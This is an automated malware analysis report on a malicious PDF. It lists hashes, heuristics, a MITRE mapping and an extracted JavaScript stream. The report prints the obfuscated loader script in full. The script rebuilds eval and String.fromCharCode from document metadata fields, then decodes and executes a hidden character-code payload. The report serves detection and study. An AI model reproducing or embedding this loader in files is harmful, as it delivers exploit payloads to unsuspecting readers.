Malicious PDF — malware analysis report

Static analysis result for SHA-256 b1ddcd90325dd3f0…

MALICIOUS

PDF

44.4 KB Authoring application: substr First seen: 2012-10-22
MD5: be7f0900f0eddca5a1ee7d9952f25d3a SHA-1: c651ec1eecbda9bd0c4403fc1b5c1e0f68db957c SHA-256: b1ddcd90325dd3f0462102d6f7be060df344fc64dad7c691fce6f9df8532b208
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File Execution: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to download and execute a second-stage payload. The SHA256 hash of the file is included as an IOC.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF2E 439 bytes
SHA-256: 165d70aedc46caf856614eaa8f9636ef36c7e8ac0127f7cae942045279a79cc9
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
wvr=e('ti'.concat(v[4],t));
q=wvr[v](a.length-6,a.length+2);
hkjp=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=wvr[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	dxz = 1*(q[i]);
	i++;
	dxz -= (-1)*(q[i]);
	s2 = s2.concat(hkjp(dxz));
	i++;
}
e(s2);

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